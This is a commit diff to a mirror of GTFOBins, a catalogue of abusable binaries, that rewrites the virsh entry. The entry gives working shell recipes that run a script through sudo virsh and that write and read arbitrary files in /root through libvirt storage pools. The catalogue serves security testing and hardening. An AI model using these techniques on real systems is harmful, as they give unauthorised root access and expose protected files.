1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00

Add virsh

This commit is contained in:
Emilio Pinna 2021-03-07 14:29:57 +00:00
parent 6722cff3fd
commit b3f1a8e1c4

View File

@ -1,16 +1,12 @@
---
description: |
This requires the user to be privileged enough to connect to the libvirt daemon, i.e. being in the `libvirt` group or be able to run `virsh` as sudo.
functions:
command:
- description: Execute a script stored on the libvirt server creating a VM using a `<script>` tag on the network interface definition.
code: |
sudo:
- code: |
SCRIPT=script_to_run
TF=$(mktemp)
cat > $TF << EOF
<domain type='kvm'>
<name>foo</name>
<name>x</name>
<os>
<type arch='x86_64'>hvm</type>
</os>
@ -22,23 +18,51 @@ functions:
</devices>
</domain>
EOF
virsh -c qemu:///system create $TF
virsh -c qemu:///system destroy foo
file-write:
- description: Write a file by creating a storage pool on the target directory and uploading the file as a volume. If the target directory doesn't exist `pool-create-as` must be run with the `--build` option. Directories are created with permissions 711, and files with permissions 600. These can be modified using `pool-create|vol-create` with an XML definition file instead of using `pool-create-as|vol-create-as`. Sample XML files can be obtained with `pool-dumpxml|vol-dumpxml`.
sudo virsh -c qemu:///system create $TF
virsh -c qemu:///system destroy x
write:
- description: This requires the user to be in the `libvirt` group. If the target directory doesn't exist `pool-create-as` must be run with the `--build` option. The destination file permissions can be tuned in the XML file.
code: |
LPATH=file_to_read
RPATH=file_to_save
virsh -c qemu:///system pool-create-as $(dirname $RPATH|tr / _) dir --target $(dirname $RPATH)
virsh -c qemu:///system vol-create-as $(dirname $RPATH|tr / _) $(basename $RPATH) 0
virsh -c qemu:///system vol-upload $RPATH $LPATH
virsh -c qemu:///system pool-destroy $(dirname $RPATH|tr / _)
file-read:
- description: Read a file by creating a storage pool on the target directory and downloading the file as a volume.
LFILE_DIR=/root
LFILE_NAME=file_to_write
echo 'data' > data_to_write
TF=$(mktemp)
cat > $TF <<EOF
<volume type='file'>
<name>y</name>
<key>$LFILE_DIR/$LFILE_NAME</key>
<source>
</source>
<capacity unit='bytes'>5</capacity>
<allocation unit='bytes'>4096</allocation>
<physical unit='bytes'>5</physical>
<target>
<path>$LFILE_DIR/$LFILE_NAME</path>
<format type='raw'/>
<permissions>
<mode>0600</mode>
<owner>0</owner>
<group>0</group>
</permissions>
</target>
</volume>
EOF
virsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR
virsh -c qemu:///system vol-create --pool x --file $TF
virsh -c qemu:///system vol-upload --pool x $LFILE_DIR/$LFILE_NAME data_to_write
virsh -c qemu:///system pool-destroy x
read:
- description: This requires the user to be in the `libvirt` group.
code: |
RPATH=file_to_get
LPATH=file_to_save
virsh -c qemu:///system pool-create-as $(dirname $RPATH|tr / _) dir --target $(dirname $RPATH)
virsh -c qemu:///system vol-download $RPATH $LPATH
virsh -c qemu:///system pool-destroy $(dirname $RPATH|tr / _)
LFILE_DIR=/root
LFILE_NAME=file_to_read
SPATH=file_to_save
virsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR
virsh -c qemu:///system vol-download --pool x $LFILE_NAME $SPATH
virsh -c qemu:///system pool-destroy x
---